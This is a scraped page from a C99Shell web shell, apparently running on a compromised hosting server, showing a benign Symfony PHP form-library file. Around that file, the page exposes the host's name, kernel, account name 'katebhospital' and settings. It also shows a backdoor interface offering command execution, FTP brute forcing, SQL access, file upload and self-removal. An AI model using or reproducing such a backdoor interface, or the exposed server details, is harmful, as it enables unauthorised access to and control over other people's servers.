!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Form/Extension/Core/ChoiceList/   drwxr-xr-x
Free 293.9 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SimpleChoiceList.php (5.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Form\Extension\Core\ChoiceList;

/**
 * A choice list for choices of type string or integer.
 *
 * Choices and their associated labels can be passed in a single array. Since
 * choices are passed as array keys, only strings or integer choices are
 * allowed. Choices may also be given as hierarchy of unlimited depth by
 * creating nested arrays. The title of the sub-hierarchy can be stored in the
 * array key pointing to the nested array.
 *
 * <code>
 * $choiceList = new SimpleChoiceList(array(
 *     'creditcard' => 'Credit card payment',
 *     'cash' => 'Cash payment',
 * ));
 * </code>
 *
 * @author Bernhard Schussek <bschussek@gmail.com>
 */
class SimpleChoiceList extends ChoiceList
{
    
/**
     * Creates a new simple choice list.
     *
     * @param array $choices The array of choices with the choices as keys and
     *                       the labels as values. Choices may also be given
     *                       as hierarchy of unlimited depth by creating nested
     *                       arrays. The title of the sub-hierarchy is stored
     *                       in the array key pointing to the nested array.
     * @param array $preferredChoices A flat array of choices that should be
     *                                presented to the user with priority.
     */
    
public function __construct(array $choices, array $preferredChoices = array())
    {
        
// Flip preferred choices to speed up lookup
        
parent::__construct($choices$choicesarray_flip($preferredChoices));
    }

    
/**
     * {@inheritdoc}
     */
    
public function getChoicesForValues(array $values)
    {
        
$values $this->fixValues($values);

        
// The values are identical to the choices, so we can just return them
        // to improve performance a little bit
        
return $this->fixChoices(array_intersect($values$this->getValues()));
    }

    
/**
     * {@inheritdoc}
     */
    
public function getValuesForChoices(array $choices)
    {
        
$choices $this->fixChoices($choices);

        
// The choices are identical to the values, so we can just return them
        // to improve performance a little bit
        
return $this->fixValues(array_intersect($choices$this->getValues()));
    }

    
/**
     * Recursively adds the given choices to the list.
     *
     * Takes care of splitting the single $choices array passed in the
     * constructor into choices and labels.
     *
     * @param array              $bucketForPreferred The bucket where to store the preferred
     *                                               view objects.
     * @param array              $bucketForRemaining The bucket where to store the
     *                                               non-preferred view objects.
     * @param array|\Traversable $choices            The list of choices.
     * @param array              $labels             Ignored.
     * @param array              $preferredChoices   The preferred choices.
     */
    
protected function addChoices(array &$bucketForPreferred, array &$bucketForRemaining$choices, array $labels, array $preferredChoices)
    {
        
// Add choices to the nested buckets
        
foreach ($choices as $choice => $label) {
            if (
is_array($label)) {
                
// Don't do the work if the array is empty
                
if (count($label) > 0) {
                    
$this->addChoiceGroup(
                        
$choice,
                        
$bucketForPreferred,
                        
$bucketForRemaining,
                        
$label,
                        
$label,
                        
$preferredChoices
                    
);
                }
            } else {
                
$this->addChoice(
                    
$bucketForPreferred,
                    
$bucketForRemaining,
                    
$choice,
                    
$label,
                    
$preferredChoices
                
);
            }
        }
    }

    
/**
     * Returns whether the given choice should be preferred judging by the
     * given array of preferred choices.
     *
     * Optimized for performance by treating the preferred choices as array
     * where choices are stored in the keys.
     *
     * @param mixed $choice           The choice to test.
     * @param array $preferredChoices An array of preferred choices.
     *
     * @return Boolean Whether the choice is preferred.
     */
    
protected function isPreferred($choice, array $preferredChoices)
    {
        
// Optimize performance over the default implementation
        
return isset($preferredChoices[$choice]);
    }

    
/**
     * Converts the choice to a valid PHP array key.
     *
     * @param mixed $choice The choice
     *
     * @return string|integer A valid PHP array key
     */
    
protected function fixChoice($choice)
    {
        return 
$this->fixIndex($choice);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function fixChoices(array $choices)
    {
        return 
$this->fixIndices($choices);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function createValue($choice)
    {
        
// Choices are guaranteed to be unique and scalar, so we can simply
        // convert them to strings
        
return (string) $choice;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0987 ]--